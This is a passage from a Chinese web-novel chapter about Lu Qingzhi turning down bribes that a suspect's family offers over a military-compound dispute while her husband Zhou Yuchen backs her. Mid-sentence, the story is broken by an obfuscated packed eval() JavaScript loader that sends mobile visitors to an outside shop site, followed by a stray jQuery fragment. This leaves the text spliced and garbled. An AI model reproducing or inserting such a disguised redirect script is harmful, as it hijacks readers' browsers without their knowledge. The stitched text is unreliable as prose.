陆青枝窘得小脸通红。
但刚扔下一个重磅炸弹的周聿琛却跟个没事人一样,将她往身边拉了拉:“过来点,小心被踩到。”
陆青枝背对着他,装作什么都没发生一样,继续看热闹。
周聿琛比她高了一个头,视线很轻易地就扫到了她红得几欲滴血的耳朵,再看她这副强自镇定的样子,不由勾了勾唇。
对比他们俩之间潜藏的暗涌,江凤英跟张清瑶那简直就是明涛了。
张清瑶那副小白花的无辜做派遇上江凤英这个什么都敢说的混不吝,完全没用。
她摇头说不是。
江凤英就一个劲儿地追问:“那你妈的医药费、营养费从哪里来?不需要吗?那你就是骗陆青枝的钱了?”
张清瑶被她问得哑口无言,抱着头大哭起来:“我没有,我没有……我真的没有……”
说着像疯子一样冲出了人群。
韩爱华赶紧追了上去。
邱华英也想去追,庞国强抓住了她的胳膊。
肖政委头痛得很,女人打架,他一个大男人也不好上前去拉,这事回头跟卫团长,还有他们家郑大姐说说,让她们俩去做文工团和家属这边的工作,该批评的批评,该追查的追查。
“行了,行了,都散了吧,聚在这里做什么?”
他一赶客,意犹未尽的八卦党们只能恋恋不舍地走人。
陆青枝也想趁着混乱赶紧开溜,免得待会儿单独面对周聿琛。
她小声说:“我去找田嫂子了。”
周聿琛没意见,松开了她的胳膊。
但她刚转身就被庞招娣给拦住了:“你好,你就是陆青枝同志吧。关于庞俊的事,我们家非常抱歉。庞俊这孩子不懂事,胡作非为,给陆同志你带来了不少困扰,我作为他的大姑,代表他向你道歉。”
庞招娣的态度很好。
可陆青枝却怎么听怎么不舒服。
庞俊怎么也有二十岁了吧,还这孩子不懂事,他巨婴啊。
好像自己跟这么大个巨婴计较就是自己不对一样。
陆青枝敷衍地点了点头:“哦,好的。”
不说原谅也不说不原谅,陆青枝越过她就想往家属院里走。
庞招娣连忙拉住陆青枝的胳膊:“陆同志,你先别走,听我把话说完。庞俊做错了事,我们家愿意为他的行为向你赔礼道歉,你有什么要求尽管提。”
陆青枝琢磨出了点味来,摇头说道:“不用,我没什么要求。”
“你这同志太实诚了,这样,你回去好好想想,这个手表就当是我们庞俊给你赔礼,你先收下,要还有什么要求尽管提。”庞招娣撸下了手腕上半新的五星手表,塞给陆青枝。
怕陆青枝不识货,她还骄傲地解释:“这是五星手表,天津产的,很难买,整个安城只有三十只。”
五星手表就是大名鼎鼎的海鸥手表的前身,解放后第一款国产手表,去年刚上市,现在产量还不高,有钱都不好买。
虽然这手表挺值钱的,但陆青枝肯定不能收。
庞家明显是想花钱摆平这事。
她要是收了他们的好处,说不追究了,传出去别人怎么看她,怎么看周聿琛?
肖政委、周聿琛他们不辞辛苦为她正名,她转身就说算了,这不等于背刺吗?
而且这件事庞俊并不无辜!
从他站出来替张清瑶顶罪开始,他就已经是帮凶了。
现在被抓,他还不肯供出张清瑶,把罪名自己全扛下来,不就是仗着他家里有权,父母亲人会帮他摆平这事吗?
陆青枝把表还给庞招娣:“你们的道歉我接受了,但东西我不能拿。至于怎么处置庞俊,我一个小小的军嫂,也无权过问,全听领导安排。”
她话已经说得很明白了,这事她管不了,她都听上面的。
但庞招娣就是像听不懂话一样,抓住陆青枝不放:“你不喜欢手表啊?缝纫机怎么样?收音机喜欢吗?对了,供销社下个月有一批招工名额,你觉得怎么样……”
“不怎么样!”周聿琛看到这边的动静,大步过来,将陆青枝拉到身后,冷着脸说,“我是陆青枝的丈夫,庞俊的事由我全权处理,她说了不算,你找她没用。”
庞招娣讪讪地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14301983|152232||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缩回了手:“那个,这位同志,你看我们家庞俊他也是……”
看到周聿琛的脸色越来越冷,庞国强赶紧把庞招娣挤开,掏出烟盒,热情地说:“这位同志请抽烟。”
周聿琛抬起手背挡住了他递烟的动作。
他也不恼,神色自若地收回了烟,笑呵呵地说:“同志,我大姐是个粗人,说话有时候不中听,两位不要跟她一般见识。陆同志的事是庞俊做得不对,你们放心,回头我一定好好教训他。”
“不过两位都是明事理的人,应该也清楚,庞俊也是受人蒙蔽,他本性并不坏,希望两位给我们一个机会,让我们好好补偿陆同志。”
同样是想花钱买通陆青枝,但庞国强的手段无疑要高明许多。
周聿琛淡淡地瞥了他一眼:“最迟后天,还没有新的证据,军区会将庞俊移交给市公安局,交由法院来审判。”
说完,
他拉着陆青枝就走。
时间已经给庞俊的家人了,能不能撬开庞俊的嘴巴就看他们了。
*
“小弟,他们两口子还是不同意和解,怎么办啊?”庞招娣着急地问。
庞国强听懂了周聿琛的言外之意,也很头痛。
庞俊执拗起来,十头牛都拉不回来,他们三人今天好说歹说,跟他分析了利弊,打了感情牌,邱华英连眼睛都哭肿了,他都无动于衷,要在明天之内劝这个固执的儿子开口,他也没十足的把握。
见丈夫不说话,邱华英着急地说:“他爸,你说话啊,难道咱们真的要眼睁睁地看着阿俊被送到市局关押判刑吗?”
庞国强揉了揉眉心:“时间紧急,待会儿回去后,你去把二姐他们都请过来,大家一起想想办法,能劝阿俊开口说实话最好。”
“另外,大家到处找找关系,尤其看看谁家能跟军区这边的领导搭上话,我再找人打听打听陆青枝那丈夫是什么来历,看能不能投其所好,让他们松口不追究了。”
他相信,是人就会有弱点,就会有所求。
今天之所以失败,不过是筹码不够又或是在大庭广众之下,陆青枝两口子要面子罢了。